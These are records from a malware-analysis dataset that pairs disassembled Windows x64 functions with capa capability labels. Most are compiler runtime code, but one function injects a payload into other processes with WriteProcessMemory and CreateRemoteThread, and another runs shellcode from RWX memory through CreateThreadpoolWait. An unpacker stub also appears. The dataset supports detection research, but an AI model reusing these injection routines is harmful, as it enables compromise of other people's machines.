joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x140004500]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x140004510]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x140007008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x140004470]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call dbg._pei386_runtime_relocator
mov rcx, qword [dbg._gnu_exception_handler]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x1400044f0]
lea rcx, [dbg.__mingw_invalidParameterHandler]
mov qword [rdx], rax
call sym._set_invalid_parameter_handler
call dbg._fpreset
mov ebx, dword [0x140007028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sym.malloc
mov r12, qword [0x140007020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [r12 + rbx]
call sym.strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sym.malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sym.memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x140007020], rbp
call dbg.__main
mov rax, qword [0x140004480]
mov r8, qword [0x140007018]
mov ecx, dword [0x140007028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140007020]
call sym.main
mov ecx, dword [0x14000700c]
mov dword [0x140007010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x140007008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x140004510]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call dbg._amsg_exit
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x140004530]
mov rcx, qword [0x140004520]
call sym._initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sym._cexit
mov eax, dword [0x140007010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x140004550]
mov rcx, qword [0x140004540]
mov dword [rsi], 1
call sym._initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sym.exit
nop
Function at 0x140001450
Capabilities:
Create thread
Enumerate processes

Disassembly:
push rbp
push rbx
sub rsp, 0x1f8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x190], rcx
mov qword [rbp + 0x198], rdx
mov dword [rbp + 0x15c], 0
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0x150], rax
cmp qword [rbp + 0x150], 0xffffffffffffffff
jne 0x1400014b2
lea rax, str.Failed_to_create_process_snapshot
mov rcx, rax
call sym.puts
mov eax, 1
jmp 0x1400016ff
lea rax, str.___Starting_snapshot
mov rcx, rax
call sym.puts
mov dword [rbp], 0x130
mov dword [rbp + 0x16c], 0
mov rdx, rbp
mov rax, qword [rbp + 0x150]
mov rcx, rax
call sym.Process32First
test eax, eax
je 0x1400016ec
mov eax, dword [rbp + 8]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x148], rax
cmp qword [rbp + 0x148], 0
jne 0x14000152f
mov eax, dword [rbp + 8]
mov edx, eax
lea rax, str.Failed_to_open_process_with_PID__u_n
mov rcx, rax
call dbg.printf
jmp 0x1400016c9
mov rax, rbp
add rax, 0x2c
lea rdx, str.Code.exe
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x1400016c5
mov ebx, dword [rbp + 8]
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
cmp ebx, eax
je 0x1400016c8
mov rax, rbp
add rax, 0x2c
mov rdx, rax
lea rax, str.Process_:__s_n
mov rcx, rax
call dbg.printf
mov ecx, 0x12c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov qword [rbp + 0x160], 0
jmp 0x140001680
mov eax, dword [rbp - 0x1c]
and eax, 0xc0
test eax, eax
je 0x14000166b
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x140], rax
mov rdx, qword [rbp + 0x140]
mov rax, qword [rbp + 0x148]
lea rcx, [rbp - 8]
mov qword [rsp + 0x20], rcx
mov r9d, 0x286
lea r8, section..data
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov dword [rbp + 0x13c], eax
cmp dword [rbp + 0x13c], 0
je 0x140001665
mov rdx, qword [rbp + 0x140]
mov rax, qword [rbp + 0x148]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0x130], rax
cmp qword [rbp + 0x130], 0
je 0x140001668
mov eax, dword [rbp + 8]
mov edx, eax
lea rax, str.Injected_into_process_with_PID__u_n
mov rcx, rax
call dbg.printf
mov dword [rbp + 0x16c], 1
jmp 0x1400016b0
nop
jmp 0x140001680
nop
jmp 0x140001680
mov rax, qword [rbp - 0x40]
mov rdx, rax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp + 0x160], rax
mov rdx, qword [rbp + 0x160]
lea rcx, [rbp - 0x40]
mov rax, qword [rbp + 0x148]
mov r9d, 0x30
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualQueryEx]
call rax
test rax, rax
jne 0x140001598
mov rax, qword [rbp + 0x148]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x1400016c9
nop
jmp 0x1400016c9
nop
mov rdx, rbp
mov rax, qword [rbp + 0x150]
mov rcx, rax
call sym.Process32Next
test eax, eax
je 0x1400016ec
cmp dword [rbp + 0x16c], 0
je 0x1400014ec
mov rax, qword [rbp + 0x150]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
add rsp, 0x1f8
pop rbx
pop rbp
ret
Function at 0x140001730
Capabilities:
Allocate or change rwx memory
Execute shellcode via createthreadpoolwait
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov r9d, 0
mov r8d, 1
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp - 8], rax
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x286
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov r8d, 0x286
lea rdx, section..data
mov rcx, rax
call sym.memmove
mov rax, qword [rbp - 0x10]
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateThreadpoolWait]
call rax
mov qword [rbp - 0x18], rax
mov rdx, qword [rbp - 8]
mov rax, qword [rbp - 0x18]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadpoolWait]
call rax
mov rax, qword [rbp - 8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov eax, 0
add rsp, 0x40
pop rbp
ret

Function at 0x140001c00
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call dbg.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001c70
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140007094]
mov rbx, rcx
test esi, esi
jle 0x140001da0
mov rax, qword [0x140007098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001cbb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001d45
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001ca0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001dc2
mov rax, qword [0x140007098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140007098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001da7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001d3e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001d50
add dword [0x140007094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140007098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001d3e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001cc8
mov rax, qword [0x140007098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002350
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x1400023ac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400023a3
test eax, eax
jne 0x1400023a3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002388
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400025c0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400025d8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400025e0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x1400025f0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000263d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002634
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000263f
add rax, 0x28
cmp rax, r9
jne 0x140002620
xor eax, eax
ret

Function at 0x140002640
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400026d0
mov rdx, qword [0x140004440]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400026be
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400026be
cmp word [rax + 0x18], 0x20b
jne 0x1400026be
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400026d0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400026a9
add rbx, 0x28
cmp rbx, rdi
je 0x1400026d0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400026a0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400026e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004440]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002700
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002708
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002700
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000275d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002754
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002700
add rax, 0x28
cmp rax, r9
jne 0x140002740
xor eax, eax
ret

Function at 0x140002760
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004440]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000277f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002788
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000277f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400027a0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140004440]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400027c0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400027c8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400027c0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002810
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002807
test rcx, rcx
je 0x1400027c0
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x1400027f8
xor eax, eax
ret
Function at 0x140002820
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004440]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000283f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002848
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002860
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004440]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002880
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002888
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002880
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002880
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400028d4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400028e0
add rdx, 0x28
cmp rdx, r9
jne 0x1400028c0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400028f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140004440]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002912
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002920
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002912
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002912
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002912
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002975
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002988
add rdx, 0x28
cmp r10, rdx
jne 0x140002960
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002997
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400029a7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000297e
test ecx, ecx
jg 0x140002990
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140a1c058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140a1c1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140a1c089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140a1c06f
add dl, dl
jne 0x140a1c096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140a1c0f6
xor eax, eax
add dl, dl
jne 0x140a1c0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140a1c1ad
add dl, dl
jne 0x140a1c0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a1c0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a1c0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a1c0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140a1c0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140a1c07e
mov eax, 1
add dl, dl
jne 0x140a1c106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a1c113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140a1c0fb
sub eax, ebx
mov ebx, 1
jne 0x140a1c14c
mov ecx, 1
add dl, dl
jne 0x140a1c12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140a1c13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140a1c123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140a1c07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140a1c168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140a1c175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140a1c15d
cmp eax, 0x7d00
jae 0x140a1c19b
cmp eax, 0x500
jb 0x140a1c196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140a1c07e
cmp eax, 0x7f
ja 0x140a1c19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140a1c07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140a1c1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140a1c07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0xaa1a90
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0xaa1a9d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0xaa1aad
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0xaa1a95
lea eax, [rcx + 1]
jmp 0xaa1abb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0xaa1ace
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0xaa1ab4
sub eax, 3
jb 0xaa1aee
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0xaa1b3d
sar eax, 1
movsxd rbp, eax
jb 0xaa1b24
jmp 0xaa1afc
add ebx, ebx
jne 0xaa1afa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0xaa1b24
inc ecx
add ebx, ebx
jne 0xaa1b0a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0xaa1b24
call r11
adc ecx, ecx
add ebx, ebx
jne 0xaa1b1d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0xaa1b0c
add ecx, 2
jmp 0xaa1b29
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.00aa1a52
jmp 0xaa1a9d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x2af600
mov dl, 0x59
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0xaa1b89
cmp rsi, rcx
jae 0xaa1b91
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0xaa1b70
cmp al, 0x8f
ja 0xaa1b70
cmp byte [rsi - 2], 0xf
je 0xaa1b76
sub al, 0xe8
cmp al, 1
ja 0xaa1b5a
cmp rsi, rcx
jae 0xaa1b91
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0xaa1b60
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0xaa1b91
lodsb al, byte [rsi]
jmp 0xaa1b70
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x699000]
mov eax, dword [rdi]
or eax, eax
je 0xaa1bee
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x6a1000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0xaa1b9e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0xaa1be8
mov qword [rbx], rax
add rbx, 8
jmp 0xaa1bbe
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0xaa1c32
cmp al, 0xef
ja 0xaa1c1a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0xaa1bfa
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0xaa1c09
mov eax, dword [rdi]
add rdi, 4
jmp 0xaa1c09
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0xaa1c86
sub rsp, 0xffffffffffffff80
jmp 0x466f40
Function at 0x140001070
Capabilities:
Read file on windows

Disassembly:
push rbx
sub rsp, 0xf0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0xe0], rax
mov ecx, 0xfffffff6
mov dword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.DLL_GetStdHandle]
mov edx, 0xfffffff6
lea rcx, str.0x_x
mov rbx, rax
call fcn.140001010
cmp rbx, 0xffffffffffffffff
jne 0x1400010e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_get_standard_input_handle.
call fcn.140001150
mov rcx, rax
lea rdx, [0x140001320]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea eax, [rbx + 2]
jmp 0x140001134
lea r9, [rsp + 0x30]
mov qword [rsp + 0x20], 0
mov r8d, 0x24c
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_ReadFile]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.User_input:
call fcn.140001150
mov rcx, rax
lea rdx, [rsp + 0x40]
call fcn.140001150
mov rcx, rax
lea rdx, [0x140001320]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.1400013e0
add rsp, 0xf0
pop rbx
ret

Function at 0x140001cb4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test rax, rax
je 0x140001cfe
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001cfe
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001cfe
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001cfe
cmp dword [rcx + 0x84], 0xe
jbe 0x140001cfe
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001d00
xor al, al
add rsp, 0x28
ret
Function at 0x140328650
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x10090
call fcn.14032ced0
sub rsp, rax
mov rax, qword [0x140377cc0]
xor rax, rsp
mov qword [rsp + 0x10080], rax
movzx edx, byte [rcx]
lea rbx, [rsp + 0x30]
xor eax, eax
mov rsi, rcx
mov word [rsp + 0x80], ax
mov word [rsp + 0x30], ax
lea edi, [rax + 0x28]
test dl, dl
je 0x140328712
nop dword [rax + rax]
cmp word [rbx], 0
mov rcx, rdi
mov rax, rbx
je 0x1403286bd
nop dword [rax]
add rax, 2
dec rcx
cmp word [rax], 0
jne 0x1403286b0
cmp rcx, 1
jb 0x14032876a
mov byte [rsp + 0x20], dl
mov rcx, 0xffffffffffffffff
mov byte [rsp + 0x21], 0
nop word [rax + rax]
cmp word [rax + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x1403286e0
lea rcx, [rax + rcx*2]
mov r8d, 2
lea rdx, [rsp + 0x20]
call fcn.14033c494
